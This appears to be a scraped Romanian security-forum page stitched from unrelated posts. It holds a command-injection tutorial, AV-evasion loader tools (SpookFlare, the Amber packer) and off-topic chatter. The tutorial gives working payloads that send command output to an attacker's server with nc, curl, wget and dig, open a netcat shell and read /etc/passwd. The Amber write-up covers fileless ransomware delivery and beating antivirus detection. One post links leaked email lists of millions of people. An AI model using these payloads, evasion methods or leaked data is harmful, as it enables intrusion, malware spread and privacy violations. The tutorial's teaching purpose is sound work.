Leaderboard

A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats. Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them. Setting up Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is ping.rb. puts `ping -c 4 #{ARGV[0]}` This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below. $ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms As you can see, it executed ping -c 4 8.8.8.8 and displayed the output on the screen. Here’s another script that will be used in the blog post: server-online.rb. puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no' This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display yes on the screen. In case it doesn’t, it’ll display no. The output of the command isn’t returned to the user. Example output below. $ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no Testing One of the best ways to detect a first-order command injection vulnerability is trying to execute a sleep command and determine if the execution time increases. To start with this, let’s establish a time baseline for the ping.rb script: $ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.09s user 0.04s system 4% cpu 3.176 total Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a sleep command. $ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.10s user 0.04s system 1% cpu 8.182 total The script will now execute the command ping -c 4 8.8.8.8 && sleep 5. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive. Let’s determine whether the server-online.rb script is vulnerable, too. $ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total $ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total Again, the baseline shows executing a normal request takes about 3 seconds. Adding && sleep 5 to the command increases the time to 8 seconds. Depending on the command being executed, the sleep command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work): time ruby ping.rb '8.8.8.8`sleep 5`' When a command line gets parsed, everything between backticks is executed first. Executing echo `ls` will first execute ls and capture its output. It’ll then pass the output to echo, which displays the output of ls on the screen. This is called command substitution. Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8`sleep 5` sleep command executed, command substitution works in command line. ping -c 4 "8.8.8.8`sleep 5`" sleep command executed, command substitution works in complex strings (between double quotes). ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep command executed, command substitution works in command substitution when using a different notation (see example below). ping -c 4 '8.8.8.8`sleep 5`' sleep command not executed, command substitution does not work in simple strings (between single quotes). ping -c 4 `echo 8.8.8.8`sleep 5`` sleep command not executed, command substitution does not work when using the same notation. time ruby ping.rb '8.8.8.8$(sleep 5)' This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above). time ruby ping.rb '8.8.8.8; sleep 5' Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8;sleep 5 sleep command executed, sequencing commands works when used on the command line. ping -c 4 "8.8.8.8;sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8;sleep 5) sleep command executed, sequencing commands works in command substitution. ping -c 4 '8.8.8.8;sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8;sleep 5` sleep command executed, sequencing commands works in command substitution. time ruby ping.rb '8.8.8.8 | sleep 5' Command output can be piped, in sequence, to another commands. When executing cat /etc/passwd | grep root, it’ll capture the output of the cat /etc/passwd command and pass it to grep root, which will then show the lines that match root. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8 | sleep 5 sleep command executed, piping output works when used on the command line. ping -c 4 "8.8.8.8 | sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep command executed, piping output works in command substitution. ping -c 4 '8.8.8.8 | sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8 | sleep 5` sleep command executed, piping output works in command substitution. Exploiting To exploit the vulnerability for evidence is to determine whether it’s a generic or blind command injection. The difference between the two, is that a blind command injection doesn’t return the output of the command in the response. A generic command injection would return the output of the executes command(s) in the response. The sleep command is often a good proof of concept for either flavor. However, if you need more proof, execute id, hostname, or whoami and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster. Important: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like sleep, id, hostname or whoami is enough to proof impact to the affected company. Exploiting generic command injection This is usually pretty straightforward: the output of any injected command will be returned to the user: $ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms jobert The red part shows the output of the ping command. The green text the output of the whoami command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands. Exploiting blind command injection With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run nc -l -n -vv -p 80 -k on your server and allow inbound connections on port 80 in your firewall. Once you’ve set up the listener, use nc, curl, wget, telnet, or any other tool that sends data to the internet, to send the output to your server: $ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes Then observe a connection being made to your server that shows the output of the hostname command: $ nc -l -n -vv -p 80 -k Listening on [0.0.0.0] (family 0, port 81) Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225) hacker.local In the example above, nc is used to send the output of the command to your server. However, nc might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists. curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5 When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this: whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed) Even though the server-online.rb script doesn’t output the result of the hostname command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work. In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the sleep command. This can be used to extract the output. The trick here is to pass the result of a command to the sleep command. Here’s an example: sleep $(hostname | cut -c 1 | tr a 5). Let’s analyze this for a moment. It’s executing the hostname command. Let’s assume it returns hacker.local. It’ll take that output and pass it to cut -c 1. This will take the first character of hacker.local, which is the character h. It passes it to tr a 5, which will replace the character a with a 5 in the output of the cut command (h). The output of the tr command is then passed to the sleep command, resulting in sleep h being executed. This will immediately error, since sleep can only take a number as first argument. The goal is then to iterate over the characters with the tr command. Once you execute sleep $(hostname | cut -c 1 | tr h 5), the command will take 5 seconds longer to execute. This is how you determine that the first character is an h. Once you guessed a character, increase the number you pass to the cut -c command, and repeat. Here’s a table with the commands to determine the output: Command Time Result ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' 8s h ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' 8s a ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' 8s c To determine how many characters you need to guess: pipe the output of hostname to wc -c and pass that to the sleep command. hacker.local is 12 characters. The hostname command returns the hostname and a new line, so wc -c will return 13. We established that normally, the script takes 3 seconds to complete. $ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total The payload above shows that the script now takes 16 seconds to complete, which means the output of hostname is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers. The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs): Run a port scan on the server and based on the exposed services, determine a way to extract the output. FTP: try writing the file to a directory you can download files from. SSH: try writing the output of the command to the MOTD banner, then simply SSH to the server. Web: try writing the output of the command to a file in a public directory (/var/www/). Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): nc -l -n -vv -p 80 -e /bin/bash (unix) or nc -l -n -vv -p 80 -e cmd.exe (windows). Do a DNS query with dig or nslookup to send the output to port 53 (UDP): dig `hostname` @your-server or nslookup `hostname` your-server. Output can be captured with nc -l -n -vv -p 53 -u -k on your server. This may work because outbound DNS traffic is often allowed. Check out this tweet how to offload file contents with dig. Change the ICMP packet size when pinging your server to offload data. tcpdump can be used to capture the data. Check out this tweet how to do this. There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output! Defeating mitigations Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called Brace Expansion that can be used to create payloads without whitespace. Below is ping-2.rb, which is the second version of ping.rb. Before passing the user input to the command, it removes whitespace from the input. puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}` When passing 8.8.8.8 && sleep 5 as argument, it’d execute ping -c 4 8.8.8.8&&sleep5, which will result in an error showing that the command sleep5 isn’t found. There’s an easy workaround by using brace expansion: $ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total Here’s a payload that sends the output of a command to an external server without using whitespace: $ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... Or to read /etc/passwd: $ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ... Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them. Happy hacking! Jobert. Source :

This talk was performed on 7 July 2017 at Camp++ 0x7e1, MKV downloads and presentation slides are available at https://camp.hsbp.org/2017/pp7e1/fahrplan/events/31.html

"Real smart contracts" "20 000 TPS" "More info soon" Cam suna a scam. Daca faci astfel de promisiuni fara sa pui macar o idee de specificatie sau validare a "blockchainului" tau. Scuze de offtopic. Doar cred ca suna prea bine sa fie ceva real. Edit: Daca le citesti whitepaperul observi ca toate nodurile din retea sunt detinute de ei, iar un nod trebuie sa fie validat si semnat de ei. Deci s-a dus pe pl descentralizarea si valoarea monedei cand toate nodurile sunt detinure de ei. Ps: ei pot rescrie blockchainul daca au chef. In plus softwareul nu e open source.

Try logging with the user "root" without a password on the latest ver of MacOS (try two times) https://mobile.twitter.com/lemiorhan/status/935581020774117381 LE: Already news https://www.laptopmag.com/articles/root-macos-high-sierra

Emailuri neverificate (nu sunt sterse dublurile) Brazilia - 15.000.000 Download: https://www.sendspace.com/file/r6rx7e UK - 1.800.000 Download: https://www.sendspace.com/file/niecjx

btc si atat, am cumparat cu 1554$/bucata, mai tin pana la 15-20k si vand, ajunge pentru "nefacand nimic"

cat dai pe cont? poate iti vand mai multe

Why <blank> Gets You Root https://objective-see.com/blog/blog_0x24.html

Deja doua bug-uri penibile, cam mare coincidenta ca să fie doar bug-uri. Poate asta e noua versiune de backdoor. Simplu, la vedere, "din greșeala". /teoriaconspiratiei

The GOSINT framework is a project used for collecting, processing, and exporting high quality indicators of compromise (IOCs). GOSINT allows a security analyst to collect and standardize structured and unstructured threat intelligence. Applying threat intelligence to security operations enriches alert data with additional confidence, context, and co-occurrence. This means that you apply research from third parties to security event data to identify similar, or identical, indicators of malicious behavior. The framework is written in Go with a JavaScript frontend. Installation Please find the installation procedure at http://gosint.readthedocs.io/en/latest/installation.html There are three ways to get up and running: Bash install script Docker Manual installation Updates Updating is simple and encouraged as bugs are reported and fixed or new features are added. To update your instance of GOSINT, pull the latest version of GOSINT from the repository and re-run the build command to compile the updated binary. godep go build -o gosint Configuration GOSINT needs some quick initial configuration to start making use of the framework features. All the settings you will need to specify can be found under the "Settings" tab. Please find the configuration procedure at http://gosint.readthedocs.io/en/latest/configuration.html Use Please find the instructions for use at http://gosint.readthedocs.io/en/latest/use.html Download: GOSINT-master.zip Source: https://github.com/ciscocsirt/GOSINT

SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader generator for Meterpreter Reverse HTTP and HTTPS stages. SpookFlare has custom encrypter with string obfuscation and run-time code compilation features so you can bypass the countermeasures of the target systems like a boss until they “learn” the technique and behavior of SpookFlare payloads. Obfuscation Runtime Code Compiling Source Code Encryption Patched Meterpreter Stage Support ___ ___ ___ ___ _ __ ___ _ _ ___ ___ / __| _ \/ _ \ / _ \| |/ / | __| | /_\ | _ \ __| \__ \ _/ (_) | (_) | ' < | _|| |__ / _ \| / _| |___/_| \___/ \___/|_|\_\ |_| |____/_/ \_\_|_\___| Version : 1.0 Author : Halil Dalabasmaz WWW : artofpwn.com Twitter : @hlldz Github : @hlldz Licence : Apache License 2.0 Note : Stay in shadows! ------------------------------------------------------- [*] You can use "help" command for access help section. spookflare > help list : List payloads generate : Generate payloads exit : Exit from program [!] Important: Use x86 listener for x86 payloads and x64 listener for x64 payloads otherwise the process will crash! spookflare > list SpookFlare can generate following payloads. [*] Meterpreter Loader (.EXE) with Custom Encrypter and Custom Stub: - Meterpreter Reverse HTTP x86/x64 - Meterpreter Reverse HTTPS x86/x64 Technical Details https://artofpwn.com/spookflare.html Usage Video Download: SpookFlare-master.zip Source: https://github.com/hlldz/SpookFlare

Evenimente petrecute pana acuma: When adult males take Dianabol, just as with every other anabolic steroid, the body’s natural production of testosterone becomes suppressed. When this happens and testosterone levels stay suppressed for an extended length of time, there are several consequences.There is an additional side effect when the natural production of testosterone is suppressed and that is since it’s made in the testicles, when production is severely slowed down, the testicles will naturally atrophy due to lack of activity. Iti recomand sa iti faci o analiza de testosteron, doar 41 de lei la synevo. Nu uita sa pui rezultatul si pe forum, mor de curiozitate.

Introducing New Packing Method: First Reflective PE Packer Amber October 24, 2017 Ege Balci Operating System, Research, Tools Because of the increasing security standards inside operating systems and rapid improvements on malware detection technologies today’s malware authors takes advantage of the transparency offered by in-memory execution methods. In-memory execution or fileless execution of a PE file can be defined as executing a compiled PE file inside the memory with manually performing the operations that OS loader supposed to do when executing the PE file normally. In-memory execution of a malware facilitates the obfuscation and anti-emulation techniques. Additionally the malware that is using such methods leaves less footprints on the system since it does not have to possess a file inside the hard drive. Combining in-memory execution methods and multi stage infection models allows malware to infect systems with very small sized loader programs; only purpose of a loader is loading and executing the actual malware code via connecting to a remote system. Using small loader codes are hard to detect by security products because of the purpose and the code fragments of loaders are very common among legitimate applications. Malware that are using this approach can still be detected with scanning the memory and inspecting the behaviors of processes but in terms of security products these operation are harder to implement and costly because of the higher resource usage (Ramilli, 2010[1]). Current rising trend on malware detection technologies is to use the machine learning mechanisms to automate the detection of malwares with feeding very big datasets into the system, as in all machine learning applications this mechanism gets smarter and more accurate in time with absorbing more samples of malware. These mechanisms can feed large numbers of systems that human malware analysts can’t scale. Malware Detection Using Machine Learning[2]paper by Gavriluţ Dragoş from BitDefender Romania Labs widely explains the inner workings of machine learning usage on malware detection. According to the Automatic Analysis of Malware Behavior using Machine Learning[3] paper by Konrad Rieck, with enough data and time false positive results will get close to zero percent and deterministic detection of malware will be significantly effective on new and novel malware samples. The main purpose of this work is developing a new packing methodology for PE files that can alter the way of delivering the malware to the systems. Instead of trying to find new anti-detection techniques that feed the machine learning data-sets, delivering the payload to the systems via fileless code injections directly bypasses most of the security mechanisms. With this new packing method it is possible to convert compiled PE files into multi stage infection payloads that can be used with common software vulnerabilities such as buffer overflows. Known Methods Following techniques are inspiration point of our new packing method. Reflective DLL Injection[4] is a great library injection technique developed by Stephen Fewer and it is the main inspiration point for developing this new packer named as Amber. This technique allows in-memory execution of a specially crafted DLL that is written with reflective programming approach. Because of the adopted reflective programming approach this technique allows multi stage payload deployment. Besides the many advantages of this technique it has few limitations. First limitation is the required file format, this technique expects the malware to be developed or recompiled as a DLL file, and unfortunately in most cases converting an already compiled EXE file to DLL is not possible or requires extensive work on the binary. Second limitation is the need for relocation data. Reflective DLL injection technique requires the relocation data for adjusting the base address of the DLL inside the memory. Also this method has been around for a long time, this means up to date security products can easily detect the usage of Reflective DLL injection. Our new tool, Amber will provide solutions for each of these limitations. Process Hollowing[5] is another commonly known in-memory malware execution method that is using the documented Windows API functions for creating a new process and mapping an EXE file inside it. This method is popular among crypters and packers that are designed to decrease the detection rate of malwares. But this method also has several drawbacks. Because of the Address Space Layout Randomization (ASLR) security measure inside the up-to-date Windows operating systems, the address of memory region when creating a new process is randomized, because of this process hollowing also needs to implement image base relocation on up-to-date Windows systems. As mentioned earlier, base relocation requires relocation data inside PE files. Another drawback is because of the usage of specific file mapping and process creation API functions in specific order this method is easy to identify by security products. Hyperion[6] is a crypter for PE files, developed and presented by Christian Amman in 2012. It explains the theoretic aspects of runtime crypters and how to implement it. The PE parsing approach in assembly and the design perspective used while developing Hyperion helped us for our POC packer. Technical Details of our new packing method: Amber The fundamental principle of executing a compiled binary inside the OS memory is possible with imitating the PE loader of the OS. On Windows, PE loader does many important things, between them mapping a file to memory and resolving the addresses of imported functions are the most important stages for executing a EXE file. Current methods for executing EXE files in memory uses specific windows API functions for mimicking the windows PE loader. Common approach is to create a new suspended process with calling CreateProcess windows API function and mapping the entire EXE image inside it with the help of NtMapViewOfSection, MapViewOfFileand CreateFileMapping functions. Usage of such functions indicates suspicious behavior and increases the detection possibility of the malware. One of the key aspects while developing our packer is using less API functions as possible. In order to avoid the usage of suspicious file mapping API functions our packer uses premapped PE images moreover execution of the malware occurs inside of the target process itself without using the CreateProcess windows API function. The malware executed inside the target process is run with the same process privileges because of the shared _TEB block which is containing the privilege information and configuration of a process. Amber has 2 types of stub, one of them is designed for EXE files that are supporting the ASLR and the other one is for EXE files that are stripped or doesn’t have any relocation data inside. The ASLR supported stub uses total of 4 windows API calls and other stub only uses 3 that are very commonly used by majority of legitimate applications. ASLR Supported Stub: VirtualAlloc CreateThread LoadLibraryA GetProcAddress Non-ASLR Stub: VirtualProtect LoadLibraryA GetProcAddress In order to call these API’s on runtime Amber uses a publicly known EAT parsing technique that is used by Stephen Fewer’s Reflective DLL injection[4] method. This technique simply locates the InMemoryOrderModuleList structure with navigating through Process Environment Block (PEB) inside memory. After locating the structure it is possible to reach export tables of all loaded DLLs with reading each _LDR_DATA_TABLE_ENTRY structure pointed by the InMemoryOrderModuleList. After reaching the export table of a loaded DLL it compares the previously calculated ROR (rotate right) 13 hash of each exported function name until a match occurs. Amber’s packing method also provides several alternative windows API usage methods, one of them is using fixed API addresses, this is the best option if the user is familiar on the remote process that will host the Amber payload. Using fixed API addresses will directly bypass the latest OS level exploit mitigations that are inspecting export address table calls also removing API address finding code will reduce the overall payload size. Another alternative techniques can be used for locating the addresses of required functions such as IAT parsing technique used by Josh Pitts in “Teaching Old Shellcode New Tricks”[7] presentation. Current version of Amber packer versions only supports Fixed API addresses and EAT parsing techniques but IAT parsing will be added on next versions. Generating the Payload For generating the actual Amber payload first packer creates a memory mapping image of the malware, generated memory mapping file contains all sections, optional PE header and null byte padding for unallocated memory space between sections. After obtaining the mapping of the malware, packer checks the ASLR compatibility of the supplied EXE, if the EXE is ASLR compatible packer adds the related Amber stub if not it uses the stub for EXE files that has fixed image base. From this point Amber payload is completed. Below image describes the Amber payload inside the target process, ASLR Stub Execution Execution of ASLR supported stub consists of 5 phases, Base Allocation Resolving API Functions Base Relocation Placement Of File Mapping Execution At the base allocation phase stub allocates a read/write/execute privileged memory space at the size of mapped image of malware with calling the VirtualAlloc windows API function, This memory space will be the new base of malware after the relocation process. In the second phase Amber stub will resolve the addresses of functions that is imported by the malware and write the addresses to the import address table of the mapped image of malware. Address resolution phase is very similar to the approach used by the PE loader of Windows, Amber stub will parse the import table entries of the mapped malware image and load each DLL used by the malware with calling the LoadLibraryA windows API function, each _IMAGE_IMPORT_DESCRIPTOR entry inside import table contains pointer to the names of loaded DLL’s as string, stub will take advantage of existing strings and pass them as parameters to the LoadLibraryA function, after loading the required DLL Amber stub saves the DLL handle and starts finding the addresses of imported functions from the loaded DLL with the help of GetProcAddress windows API function, _IMAGE_IMPORT_DESCRIPTOR structure also contains a pointer to a structure called import names table, this structure contains the names of the imported functions in the same order with import address table(IAT), before calling the GetProcAddress function Amber stub passes the saved handle of the previously loaded DLL and the name of the imported function from import name table structure. Each returned function address is written to the malwares import address table (IAT) with 4 padding byte between them. This process continuous until the end of the import table, after loading all required DLL’s and resolving all the imported function addresses second phase is complete. At the third phase Amber stub will start the relocation process with adjusting the addresses according to the address returned by the VirtualAlloc call, this is almost the same approach used by the PE loader of the windows itself, stub first calculates the delta value with the address returned by the VirtualAlloc call and the preferred base address of the malware, delta value is added to the every entry inside the relocation table. In fourth phase Amber stub will place the file mapping to the previously allocated space, moving the mapped image is done with a simple assembly loop that does byte by byte move operation. At the final phase Amber stub will create a new thread starting from the entry point of the malware with calling the CreateThread API function. The reason of creating a new thread is to create a new growable stack for the malware and additionally executing the malware inside a new thread will allow the target process to continue from its previous state. After creating the malware thread stub will restore the execution with returning to the first caller or stub will jump inside a infinite loop that will stall the current thread while the malware thread successfully runs. Non-ASLR Stub Execution Execution of Non-ASLR supported stub consists of 4 phases, Base Allocation Resolving API functions Placement Of File Mapping Execution If the malware is stripped or has no relocation data inside there is no other way than placing it to its preferred base address. In such condition stub tries to change the memory access privileges of the target process with calling VirtualProtect windows API function starting from image base of the malware through the size of the mapped image. If this condition occurs preferred base address and target process sections may overlap and target process will not be able to continue after the execution of Amber payload. Fixed Amber stub may not be able to change the access privileges of the specified memory region, this may have multiple reasons such as specified memory range is not inside the current process page boundaries (reason is most probably ASLR) or the specified address is overlapping with the stack guard regions inside memory. This is the main limitation for Amber payloads, if the supplied malware don’t have ASLR support (has no relocation data inside) and stub can’t change the memory access privileges of the target process payload execution is not possible. In some situations stub successfully changes the memory region privileges but process crashes immediately, this is caused by the multiple threads running inside the overwritten sections. If the target process owns multiple threads at the time of fixed stub execution it may crash because of the changing memory privileges or overwriting to a running section. However these limitations doesn’t matter if it’s not using the multi stage infection payload with fixed stub, current POC packer can adjust the image base of generated EXE file and the location of Amber payload accordingly. If the allocation attempt ends up successful first phase is complete. Second phase is identical with the approach used by the ASLR supported stub. After finishing the resolution of the API addresses, same assembly loop used for placing the completed file mapping to the previously amended memory region. At the final phase stub jumps to the entry point of the malware and starts the execution without creating a new thread. Unfortunately, usage of Non-ASLR Amber stub does not allow the target process to continue with its previous state. Multi Stage Applications Security measures that will be taken by operating systems in the near future will shrink the attack surface even more for malwares. Microsoft has announced Windows 10 S on May 2 2017[8], this operating system is basically a configured version of Windows 10 for more security, one of the main precautions taken by this new operating system is doesn’t allow to install applications other than those from Windows Store. This kind of white listing approach adopted by the operating systems will have a huge impact on malwares that is infecting systems via executable files. In such scenario usage of multi stage in-memory execution payloads becomes one of the most effective attack vectors. Because of the position independent nature of the Amber stubs it allows multi stage attack models, current POC packer is able to generate a stage payload from a complex compiled PE file that can be loaded and executed directly from memory like a regular shellcode injection attack. In such overly restrictive systems multi stage compatibility of Amber allows exploitation of common memory based software vulnerabilities such as stack and heap based buffer overflows. However due to the limitations of the fixed Amber stub it is suggested to use ASLR supported EXE files while performing multi stage infection attacks. Stage payloads generated by the POC packer are compatible with the small loader shellcodes and payloads generated from Metasploit Framework [9], this also means Amber payloads can be used with all the exploits inside the Metasploit Framework [9] that is using the multi stage meterpreter shellcodes. Here is the source code of Amber . Feel free to fork and contribute..! https://github.com/EgeBalci/Amber Demo 1 – Deploying EXE files through metasploit stagers This video demonstrates how to deploy regular EXE files into systems with using the stager payloads of metasploit. The Stage.exe file generated from Metasploit fetches the amber’s stage payload and executes inside the memory. Demo 2 – Deploying fileless ransomware with Amber ( 3 different AV ) This video is a great example of a possible ransomware attack vector. With using amber, a ransomware EXE file packed and deployed to a remote system via fileless powershell payload. This attack can also be replicated with using any kind of buffer overflow vulnerability. Detection Rate Current detection rate (19.10.2017) of the POC packer is pretty satisfying but since this is going to be a public project current detection score will rise inevitably When no extra parameters passed (only the file name) packer generates a multi stage payload and performs an basic XOR cipher with a multi byte random key then compiles it into a EXE file with adding few extra anti detection functions. Generated EXE file executes the stage payload like a regular shellcode after deciphering the payload and making the required environmental checks. This particular sample is the mimikatz.exe (sha256 – 9369b34df04a2795de083401dda4201a2da2784d1384a6ada2d773b3a81f8dad) file packed with a 12 byte XOR key (./amber mimikatz.exe -ks 12). The detection rate of the mimikatz.exe file before packing is 51/66 on VirusTotal. In this particular example packer uses the default way to find the windows API addresses witch is using the hash API, avoiding the usage of hash API will decrease the detection rate. Currently packer supports the usage of fixed addresses of IAT offsets also next versions will include IAT parser shellcodes for more alternative API address finding methods. VirusTotal https://www.virustotal.com/#/file/3330d02404c56c1793f19f5d18fd5865cadfc4bd015af2e38ed0671f5e737d8a/detection VirusCheckmate Result http://viruscheckmate.com/id/1ikb99sNVrOM NoDistribute https://nodistribute.com/result/image/7uMa96SNOY13rtmTpW5ckBqzAv.png Future Work This work introduces a new generation malware packing methodology for PE files but does not support .NET executables, future work may include the support for 64 bit PE files and .NET executables. Also in terms of stealthiness of this method there can be more advancement. Allocation of memory regions for entire mapped image done with read/write/execute privileges, after placing the mapped image changing the memory region privileges according to the mapped image sections may decrease the detection rate. Also wiping the PE header after the address resolution phase can make detection harder for memory scanners. The developments of Amber POC packer will continue as a open source project. References [1] Ramilli, Marco, and Matt Bishop. “Multi-stage delivery of malware.” Malicious and Unwanted Software (MALWARE), 2010 5th International Conference on. IEEE, 2010. [2] Gavriluţ, Dragoş, et al. “Malware detection using machine learning.” Computer Science and Information Technology, 2009. IMCSIT’09. International Multiconference on. IEEE, 2009. [3] Rieck, Konrad, et al. “Automatic analysis of malware behavior using machine learning.” Journal of Computer Security 19.4 (2011): 639-668. [4] Fewer, Stephen. “Reflective DLL injection.” Harmony Security, Version 1 (2008). [5] Leitch, John. “Process hollowing.” (2013). [6] Ammann, Christian. “Hyperion: Implementation of a PE-Crypter.” (2012). [7] Pitts, Josh. “Teaching Old Shellcode New Tricks” https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017 Teaching_Old_Shellcode_New_Tricks.pdf (2017) [8] https://news.microsoft.com/europe/2017/05/02/microsoft-empowers-students-and-teachers-with-windows-10-s-affordable-pcs-new-surface-laptop-and-more/ [9] Rapid7 Inc, Metasploit Framework https://www.metasploit.com [10] Desimone, Joe. “Hunting In Memory” https://www.endgame.com/blog/technical-blog/hunting-memory (2017) [11] Lyda, Robert, and James Hamrock. “Using entropy analysis to find encrypted and packed malware.” IEEE Security & Privacy 5.2 (2007). [12] Nasi, Emeric. “PE Injection Explained Advanced memory code injection technique” Creative Commons Attribution-NonCommercial-NoDerivs 3.0 License (2014) [13] Pietrek, Matt. “Peering Inside the PE: A Tour of the Win32 Portable Executable File Format” https://msdn.microsoft.com/en-us/library/ms809762.aspx (1994) Sursa: https://pentest.blog/introducing-new-packing-method-first-reflective-pe-packer/

